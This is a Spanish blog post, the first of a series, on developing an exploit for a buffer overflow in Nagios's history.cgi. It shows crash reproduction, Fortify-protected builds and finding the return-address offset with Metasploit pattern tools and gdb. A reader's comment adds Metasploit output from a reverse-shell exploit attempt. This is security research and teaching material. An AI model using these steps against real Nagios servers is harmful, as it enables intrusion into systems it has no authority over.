viernes, 18 de enero de 2013

Explotando Nagios paso a paso (I)

Si leísteis el post de AYER, sabéis que el fin de semana pasado estuve jugando con el último exploit de Nagios y, con la ayuda de gente del equipo de Rapid7, lo porté a Metasploit y ya lo tenéis disponible para descarga. Todo esto ya lo sabíais, pero también es comentaba que pondría un par de posts más contando los detalles del exploit, así que allá vamos.

La vulnerabilidad, según está documentado, se trataría de un Buffer Overflow en el parámetro "host" del binario "history.cgi", que se podría explotando haciendo algo como:

http://nagios.pentester.es/nagios/cgi-bin/history.cgi?host=AAAAAAAAAAAA...

Sin embargo, depurar el fallo para intentar explotarlo haciendo la llamada de esta manera es un poco complicado ¿cómo vamos a arrancar la CGI con nuestro debugger favorito así? Por suerte, podemos ejecutar directamente la CGI desde linea de comandos de la misma forma que lo hace el servidor web, pasándole la información de la conexión HTTP recibida a través de variables de entorno. Como mínimo, un CGI debe recibir las variables de entorno REMOTE_USER, REQUEST_METHOD y QUERY_STRING, así que podemos "simular" la llamada anterior haciendo algo así:

$ export REMOTE_USER='nagiosadmin'
$ export REQUEST_METHOD='GET'
$ export QUERY_STRING="host=`python -c \"print 'A'*4000\"`"

$ /usr/local/nagios/sbin/history.cgi 1>/dev/null 
Segmentation fault

Pues parece que sí que es vulnerable ¿no? :) Hay que decir que la función vulnerable solo es llamada si hay algún host o servicio caído, así que antes podríamos visitar la URL para ver si hay alguno o no, y si no hay ninguno podéis forzar que ocurra o buscar el fichero "nagios.log" y escribir algo así:

[1358302857] HOST ALERT: localhost;DOWN;HARD;10;(Return code of 127 is out of bounds - plugin may be missing)

Pero... no todo va a ser tan fácil. El binario ha sido compilado de diferentes maneras por el equipo de desarrollo de Nagios y por los los equipos de desarrollo de las diferentes distribuciones. Por ejemplo, si repetimos la misma operación habiendo instalado el Nagios en un CentOS a través del comando yum, tendremos algo así:

/usr/lib/nagios/cgi-bin/history.cgi 1>/dev/null 
*** buffer overflow detected ***: /usr/lib/nagios/cgi-bin/history.cgi terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x4d)[0xbf07ad]
/lib/libc.so.6(+0xfa7ea)[0xbee7ea]
/lib/libc.so.6(+0xf9f18)[0xbedf18]
/lib/libc.so.6(_IO_default_xsputn+0x13c)[0xb62f4c]
/lib/libc.so.6(_IO_vfprintf+0x4048)[0xb38aa8]
/lib/libc.so.6(__vsprintf_chk+0xa7)[0xbedfc7]
/lib/libc.so.6(__sprintf_chk+0x2d)[0xbedf0d]
/usr/lib/nagios/cgi-bin/history.cgi[0x804a177]
/usr/lib/nagios/cgi-bin/history.cgi[0x804ae44]
/lib/libc.so.6(__libc_start_main+0xe6)[0xb0ace6]
/usr/lib/nagios/cgi-bin/history.cgi[0x8048fc1]
======= Memory map: ========
00478000-00479000 r-xp 00000000 00:00 0          [vdso]
0055a000-00578000 r-xp 00000000 fd:01 130954     /lib/ld-2.12.so
00578000-00579000 r--p 0001d000 fd:01 130954     /lib/ld-2.12.so
00579000-0057a000 rw-p 0001e000 fd:01 130954     /lib/ld-2.12.so
00af4000-00c84000 r-xp 00000000 fd:01 135441     /lib/libc-2.12.so
00c84000-00c86000 r--p 0018f000 fd:01 135441     /lib/libc-2.12.so
00c86000-00c87000 rw-p 00191000 fd:01 135441     /lib/libc-2.12.so
00c87000-00c8a000 rw-p 00000000 00:00 0 
00ef8000-00f15000 r-xp 00000000 fd:01 146344     /lib/libgcc_s-4.4.6-20120305.so.1
00f15000-00f16000 rw-p 0001d000 fd:01 146344     /lib/libgcc_s-4.4.6-20120305.so.1
08048000-0807d000 r-xp 00000000 fd:01 132229     /usr/lib/nagios/cgi-bin/history.cgi
0807d000-0807e000 rw-p 00035000 fd:01 132229     /usr/lib/nagios/cgi-bin/history.cgi
0807e000-08081000 rw-p 00000000 00:00 0 
09d24000-09d45000 rw-p 00000000 00:00 0          [heap]
b7872000-b7875000 rw-p 00000000 00:00 0 
b787e000-b787f000 rw-p 00000000 00:00 0 
bfa26000-bfa3c000 rw-p 00000000 00:00 0          [stack]
Aborted

Como podéis ver, el programa se cierra con un "Buffer Overflow Detected", al contrario de lo que sucedía en nuestro ejemplo anterior. Esto es porque el binario ha sido compilado con las opciones de Fortify que proporciona una capa de seguridad adicional por medio del uso de Stack Cookies y la substitución automática de funciones peligrosas como strcpy por sus equivalentes seguras strncpy, eligiendo un valor adecuado para que no se produjera el desbodardamiento. Por estos motivos, varios investigadores de seguridad han comentado que, en estos casos, la vulnerabilidad NO sería explotable, por lo que vamos a centrarnos en el caso anterior.

Vámonos al binario que nos han compilado el propio equipo de Nagios para su appliance, que parece que nos va a dar más juego. Lo primero que vamos a tener que hacer es determinar cuanto espacio tenemos entre el principio del buffer y la posición de la pila que guarda la dirección de retorno, y que querremos sobreescribir por una nueva que sirva a nuestros oscuros propósitos. Para ello podemos usar una serie de herramientas presentes dentro del directorio "tools" de nuestra instalación de Metasploit que nos generará una serie de caracteres que hará que la dirección de retorno de la función sea sobreescrita por una secuencia de caracteres única, que posteriormente podremos utilizar para determinar en que posición estaba. Vayamos a ello:

$ cd /opt/msf4/tools/
$ ./pattern_create.rb 4000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa[...]c9Fd0Fd1Fd2F

Si ahora utilizamos esta cadena como valor de la variable host y ejecutamos el binario con el gdb, podremos ver algo así:

$ export QUERY_STRING="host=`./pattern_create.rb 4000`"
gdb /usr/local/nagios/sbin/history.cgi
(gdb) run

Program received signal SIGSEGV, Segmentation fault.
0x61453661 in ?? ()

Como podemos ver, hemos recibido un fallo de segmento al intentar acceder a la dirección 0x61453661. Esto es así porque, de toda la cadena de caracteres que comentábamos antes, estos concretamente han sobreescrito la dirección de retorno de la función. Teniendo en cuenta que en x86 los bytes de las direcciones se ordenan en sentido inverso, eso nos dejaría: 0x61 (a) 0x36 (6) 0x45 (E) 0x61 (a). Ahora podríamos buscar esta cadena dentro de la que hemos obtenido antes, pero Metasploit nos da otra herramienta con lo que lo podemos calcular de forma inmediata:

$ ./pattern_offset.rb a6Ea 4000
[*] Exact match at offset 3139

OK, ya sabemos que tenemos que escribir 3139 bytes (0xc43) para alcanzar la dirección de retorno, pero... ¿y que escribimos en ella? Eso ya será otro post :)

6 comentarios:

TheSur dijo...

Muy bueno, además siempre se aprende algo nuevo, no sabia que era posible llamar a cgis pasandole el los datos a través de las variables de entorno.

Anónimo dijo...

¿ Por qué ocurre esto ?

msf exploit(nagios3_history_cgi) > check

[*] Checking banner and version...
[*] Web Server banner: Apache/2.2.15 (CentOS)
[*] Nagios version detected: 3.4.1
[+] The target is vulnerable.

msf exploit(nagios3_history_cgi) > exploit

[*] Started reverse handler on 192.168.102.131:4444
[*] Automatically detecting the target...
[*] Web Server banner: Apache/2.2.15 (CentOS)
[*] Nagios version detected: 3.4.1
[*] Selected Target: Appliance Nagios XI 2012R1.3 (CentOS 6.x)
[*] Sending request to http://172.16.0.19:80/nagios/cgi-bin/history.cgi
[-] No response from the server
[*] Exploit completed, but no session was created.

Jose Selvi dijo...

@Anonimo: Con solo esa información... imposible saberlo xD Ponme un correo y lo miramos, que sino igual la lista de comentarios se hará enorme.

Jose Selvi dijo...

@TheSur: Gracias :) Yo tengo que reconocer que tampoco lo sabía. Me puse a leer y a probar a ver si encontraba la manera de hacerlo, y encontré ese método.

Gabriel Pozo dijo...

Esperando el próximo post :D

Jose Selvi dijo...

El problema de @Anonimo era un problema de rutas. Su máquina objetivo no sabía enrutar la conexión inversa hacia LHOST.